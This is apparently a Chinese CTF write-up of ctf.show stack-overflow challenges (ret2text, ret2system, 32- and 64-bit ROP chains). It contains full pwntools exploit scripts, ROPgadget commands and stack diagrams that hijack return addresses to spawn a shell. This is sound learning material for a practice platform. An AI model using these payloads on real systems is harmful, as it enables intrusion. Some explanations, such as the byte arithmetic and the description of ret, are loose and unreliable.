函数压入栈中是由上往下由栈底到栈顶,通过payload将数据压入栈是由下往上由栈顶往上压入到栈底

未开保护

存在可利用函数类(地址跳转)

有打印flag的函数

什么保护都没开,存在gets函数有栈溢出漏洞,有打印flag的函数。

思路:利用栈溢出覆盖原函数到其ebp,用flag的地址覆盖原函数返回地址,以达到运行打印flag函数的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# 设置 pwntools 的上下文环境
context(arch='i386', os='linux', log_level='debug')

# 连接到远程服务器
io = remote("pwn.challenge.ctf.show", 28182)

# 加载本地二进制文件
elf = ELF('./pwn')

# 获取 get_flag 函数的地址
flag = elf.sym['get_flag']

# 构造 payload,cyclic用于生成指定数量字符
payload = cyclic(0x20 + 4 + 4) + p32(flag)

# 发送 payload
io.sendline(payload)

# 进入交互模式
io.interactive()

信号

程序栈保护未开,nx开启,发现栈溢出漏洞

1
2
3
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

return strcpy(dest, src);

发现信号接收函数和flag打印函数

1
2
3
4
5
6
7
signal(11, (__sighandler_t)sigsegv_handler);
void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}

在 C 语言中,signal(11, (__sighandler_t)sigsegv_handler); 这行代码的作用是设置一个信号处理函数来处理 SIGSEGV 信号(即信号编号 11)。SIGSEGV 通常表示程序尝试访问未分配给它的内存地址,或者试图以错误的方式访问有效地址。

具体来说:

  • signal 是一个用于注册信号处理函数的系统调用。
  • 第一个参数 11 表示 SIGSEGV 信号。
  • 第二个参数 (__sighandler_t)sigsegv_handler 是一个指向信号处理函数的指针,类型被强制转换为 __sighandler_t 类型。
  • sigsegv_handler这个函数会在发生 SIGSEGV 信号时被调用,并且会接收到信号编号作为参数。

当发生栈溢出时会发送SIGSEGV信号,接收到信号后会调用sigsegv_handler函数打印出flag故此题送入105个字符使栈溢出即可获取flag

ret2text

有栈溢出漏洞,栈保护未开,程序中有可利用的后门函数获取shell

找具体覆盖需要多少字节可以关注函数后的注释,32位是[ebp - 12h],64位是[rsp - 12h],也可以看汇编码或gdb输入一串字符查看

1

buf = byte prt -80即表示buf数组到ebp的距离为80h

32位

checksec

ret2text

发现栈保护运行一下提示已有后门函数拖入ida分析

1

发现栈溢出漏洞,read能够读入0x32u的数据而buf只有14的空间,根据注释buf数组到ebp的距离为12h,故可利用该漏洞先覆盖掉buf数组到ebp的空间,因为是32位程序所以再用4个字节覆盖ebp,最后用后门函数的返回地址覆盖原函数返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.log_level = 'debug' #方便调试(还不会看)

# io.process('./pwn') # 启动本地进程并与之交互(已注释)

io.remote('pwn.challenge.ctf.show', 28187) # 连接到远程服务

elf = ELF('pwn') # 加载ELF文件

backdoor = elf.sym['backdoor'] # 获取后门函数地址

payload = 'A' * (0x12 + 4) + p32(backdoor) # 构造payload

io.sendline(payload) # 发送payload给目标程序

io.recv() # 接收目标程序返回的数据(可选)

io.interactive() # 进入交互模式,允许用户与目标程序进行手动交互

64位

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个mov aps指令,这个指令要求内存地址必须16字节对齐,只有当地址的末尾是0的时候,才算是与16字节对齐了,如果末尾是8的话,那就是没有对齐。而我们想要在ubuntu18以上的64位程序中执行system函数,必须要在执行system地址末尾是0

我们需要找一个地址:lea的地址或者retn的地址(函数结束的地址)添加到后门函数的返回地址前

故直接在调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,那我现在直接执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*

context.log_level = 'debug' # 设置日志级别为debug,以便输出详细的调试信息

io = remote('pwn.challenge.ctf.show', 28311) # 连接到远程服务,假设目标程序运行在该地址和端口上

elf = ELF('./pwn') # 加载ELF文件(即目标程序)并获取其符号表信息
backdoor = elf.sym['backdoor'] # 获取后门函数的地址
ret = 0x40065B # 返回地址,用于保持栈对齐

payload = b'a' * (0xA + 8) + p64(ret) + p64(backdoor) # 构造攻击载荷:填充数据以覆盖返回地址,并设置新的返回地址为我们想要调用的函数
io.sendline(payload) # 发送攻击载荷给目标程序
io.recv() # 接收来自目标程序的数据(如果有的话)
io.interactive() # 开启交互模式,允许用户与目标程序进行交互操作

寻找合适的gadgets:在二进制文件中搜索可以利用的指令序列(称为gadgets),这些gadgets可以用来控制程序执行流程。例如,“lea esp, [esp+0x10]”可以将ESP指针向前移动16字节,而“ret”或“retn”指令则用于返回到上一层调用者。

32位plus1版

system与/bin/sh分离

checksec 发现canary没开只开了nx

ida分析有后门函数但是后门函数不完整需要连接,发现可利用栈溢出漏洞如下

1

故构建exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
context.log_level = 'debug'
io=process('./pwn')
# io=remote('pwn.challenge.ctf.show',28269)
elf = ELF('./pwn')
system = elf.sym['system']
x=0x08048750 #/bin/sh的地址
payload=b'a'*(0x12+4)+p32(system)+p32(0)+p32(x)
#payload=b'a'*(0x12+4)+p32(call system)+p32(x)
io.sendline(payload)
io.interactive()

payload解读b'a'*(0x12+4)部分用于填充满buf数组且覆盖掉其ebp

(ebp (基指针寄存器)用于指向当前函数的栈帧基地址。在函数调用过程中, ebp 通常用于访问函数的局部变量和其他函数参数。每个函数都有自己的栈帧,而 ebp 指向的就是这个栈帧的起始位置。)

p32(system)压入system函数地址

p32(0)+p32(x) p32(x) 是 system 的参数,其中 x 是包含 “/bin/sh” 字符串的内存地址,使用任意四个字节覆盖掉call system后存储的下一条指令的地址

1
2
3
call system=
push next_addr ;p32(0)就是用来覆盖掉下一条指令的地址,因为已经获得shell了所以下一条指令也不重要了就直接覆盖就好了
mov rip,system ;跳转到system函数创建新的栈帧

32位函数调用时栈上排序为:函数 下一条指令的返回地址 参数

栈上的动态变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1. 栈初始化:假设我们有一个函数调用,其栈布局如下:
+----------------+ <- 栈顶
| 返回地址 |
| 其他局部变量 |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
2. 填充字节:首先,我们通过 b'a'*(0x12+4) 填充0x12+4个字节到栈上,这些字节将覆盖函数的局部变量和参数,直到达到返回地址的位置:
+----------------+ <- 栈顶
| 返回地址 |
| aaaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
3. system函数地址:接下来,我们将 system 指令的地址( p32(system) )放入栈中,这个地址将被用作返回地址,当函数返回时,控制流将跳转到 system 函数:
+----------------+ <- 栈顶
| system 地址 |
| aaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
4.四个字节覆盖掉调用system函数时压入的下一条指令的返回地址
+----------------+ <- 栈顶
| aaaa |
| system 地址 |
| aaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
5.压入参数
+----------------+ <- 栈顶
| /bin/sh |
| aaaa |
| system 地址 |
| aaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底

64位plus1版

还是system与bin/sh分离了需要连接

这题和32位的思路一样,唯一不同的是64位在进行传参时与32位不一样,因为32位是栈传参,而64位是寄存器传参+栈传参,传送的前几个参数一般使用寄存器储存,若参数果果寄存器有限会继续使用栈传参。

1
2
3
具体64位传参方法如下:
当参数少于7个时,参数从左到右放入寄存器:rdi,rsi,rdx,rcx,r8,r9
当参数为7个以上时,前6个与前面一样,但后面的一次从“右向左”放入栈中,和32位汇编一样

获取rdi地址:

1
ROPgadget --binary pwn --only "pop|ret" | grep rdi

参数解释:
–binary pwn: 指定了要分析的二进制文件的文件名。
–only “pop|ret”: 指定了只查找包含”pop”和”ret”指令序列的代码片段,这些指令通常用于弹出寄存器中的值,并将控制流返回到调用函数的地址处,是ROP攻击中常用的gadgets。
| grep rdi: 将ROPgadget的输出传递给grep命令,然后使用grep命令筛选出包含”rdi”寄存器的代码片段,这样就可以只找到包含”pop|ret”指令序列并且弹出rdi寄存器的gadgets。

gadgets 指的是程序中的一些短小的代码片段,这些代码片段通常以一种特定的指令序列结尾,比如”ret”指令。(就是以 ret 结尾的指令序列)

1

得到rdi的地址:0x4007e3

接下来获取ret的地址:

1
ROPgadget --binary pwn

1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*

io=remote('pwn.challenge.ctf.show',28140)

bin_addr=0x400808

pop_rdi_ret=0x4007e3

ret=0x4004fe

system=0x400520

paylode=b'a'*(0xA+8)+p64(pop_rdi_ret)+p64(bin_addr)+p64(ret)+p64(system)

io.sendline(paylode)

io.interactive()

paylode中:

0xA+8个填充字节(用’a’填充):用于填充到栈溢出的位置,达到返回地址的偏移。
pop_rdi:用于将下一个值弹出到rdi寄存器中。
bin_sh:需要执行的系统命令字符串的地址。
ret:用于绕过栈中的返回地址,返回到调用者。
system:系统函数system的地址,用于执行系统命令。

动态图示如下(kimi最好用的一次)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
1. 栈初始化:假设我们有一个函数调用,其栈布局如下:
+----------------+ <- 栈顶
| 返回地址 |
| 其他局部变量 |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
2. 填充字节:首先,我们通过 b'a'*(0xA+8) 填充0xA+8个字节(即10个字节)到栈上,这些字节将覆盖函数的局部变量和参数,直到达到返回地址的位置:
+----------------+ <- 栈顶
| 返回地址 |
| aaaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
3. pop_rdi指令地址:接下来,我们将 pop_rdi 指令的地址( p64(pop_rdi) )放入栈中,这个地址将被用作返回地址,当函数返回时,控制流将跳转到 pop_rdi 指令:
+----------------+ <- 栈顶
| pop_rdi_ret地址 |
| aaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
4. bin_sh地址:紧接着,我们将 bin_sh (即 /bin/sh 字符串的地址)放入栈中,这个地址将被 pop_rdi 指令弹出到 rdi 寄存器中:
+----------------+ <- 栈顶
| bin_sh地址 |
| pop_rdi_ret地址 |
| aaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
5. ret指令地址:然后,我们将 ret 指令的地址放入栈中,这个地址将被 pop_rdi 之后的 ret 指令作为返回地址使用:
+----------------+ <- 栈顶
| ret地址 |
| bin_sh地址 |
| pop_rdi_ret地址 |
| aaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
6. system函数地址:最后,我们将 system 函数的地址放入栈中,这个地址将被 ret 指令之后的 ret 指令作为返回地址使用,从而调用 system 函数:
+----------------+ <- 栈顶
| system地址 |
| ret地址 |
| bin_sh地址 |
| pop_rdi_ret地址 |
| aaaa... |
+----------------+
| 参数1 |
| 参数2 |
+----------------+ <- 栈底
函数返回:当原始函数执行到返回指令时,它会跳转到 pop_rdi_ret 地址,执行 pop_rdi_ret 指令,将 bin_sh 地址加载到 rdi 寄存器中。
调用system:接着,控制流通过 ret 指令跳转到 system 函数的地址, system 函数被调用,执行 /bin/sh 命令。

ret 指令的作用包括:

  1. 恢复栈指针: ret 指令会将栈指针(ESP寄存器在32位系统中,或者RSP寄存器在64位系统中)增加一个特定的值,通常是四个字节(32位系统)或八个字节(64位系统)。这个增加的值取决于在调用函数时,函数的返回类型。这样做是为了移除函数调用时压入栈中的参数和可能的其他数据。
  2. 跳转到返回地址: ret 指令会从栈顶弹出一个字(32位系统)或双字(64位系统),这个值是函数调用时保存的返回地址,即调用函数之前的指令地址。 ret 指令将这个地址加载到指令指针(EIP寄存器在32位系统中,或者RIP寄存器在64位系统中),从而使CPU跳转到这个地址继续执行。

32位无/bin/sh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*

io=remote('pwn.challenge.ctf.show',28267)

gets=0x08048420

buf2=0x0804B060

system=0x08048450

payload=b'a'*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)

io.sendline(payload)
io.sendline("/bin/sh")

io.interactive()

分析:

走流程checeksec——>canary没开,开了nx

分析源码发现gets漏洞,后门函数system但是没有/bin/sh

因为开了NX不能直接写入所以利用gadgets尝试写入参数

先找可写入的地址,利用gdb调试

1
2
3
4
5
$gdb pwn
$b main
$r
$vmmap//查看各内存段的权限信息
r-可读 w-可写 x-可执行 s-共享

1

发现0x804b000到0x804c000是可写的,刚好对应到bss段,在bss段发现一个buf2变量,故可将/bin/sh写入buf2

故开始构造payload

1
payload=b'a'*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)

(0x6C+4)填充数据到返回地址,用gets@plt的地址覆盖构造二次输入,压入system@plt作为执行完gets函数的返回地址,压入buf2作为gets函数的参数,再次压入buf2作为system的参数,遵守函数 返回地址 参数的布局 32位是栈传参所以可以直接把参数压入栈上正常模拟函数调用

压入call system_addr和压入system的区别:

• 直接调用 system :需要提供 system 函数的地址和返回地址,以及 system 函数的参数。

• 调用 call system :只需要提供 call system 指令的地址和 system 函数的参数。 call 指令会自动处理返回地址的压栈和跳转。

这里有一种通用性更强的payload的构造方式,遵循用完即丢的原则

1
payload=b'a'*(0x6C+4)+p32(gets)+p32(pop_ebx_ret)+p32(buf2)+p32(system)+p32(0)+p32(buf2)

64位无/bin/sh

32位为栈传参,故不需要将参数弹入寄存器中,64位前6个参数是储存在寄存器RDI 、RSI 、RDX 、RCX 、R8 和 R9 这六个寄存器传递中的存满之后再从右到左依次压入栈中

该题与上题逻辑相似只是传参方式改变了

获得ROPgadget的指令

1
ROPgadget --binary pwn --only 'pop|ret' | grep 'rdi'

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*

io=remote('pwn.challenge.ctf.show',28244)

gets=0x400530

buf2=0x602080

pop_rdi=0x4007f3

system=0x400520

payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(buf2)+p64(gets)\
+p64(pop_rdi)+p64(buf2)+p64(system)+p64(0)+p64(buf2)

io.sendline(payload)
io.sendline("/bin/sh")

io.interactive()

payload中:

第一步劫持执行流

第一次压入pop_rdi将buf2弹入rdi寄存器中然后返回到下一个gets函数地址构造二次输入

第二次将pop_rid地址压入栈中,其位置为执行完gets函数后的返回地址,该pop_rdi用于将利用gets函数接收到的’/bin/sh’弹入rdi寄存器中,接着将执行流ret到system函数上

接着就是调用system,含有’/bin/sh’的buf2变量充当system的参数,获得shell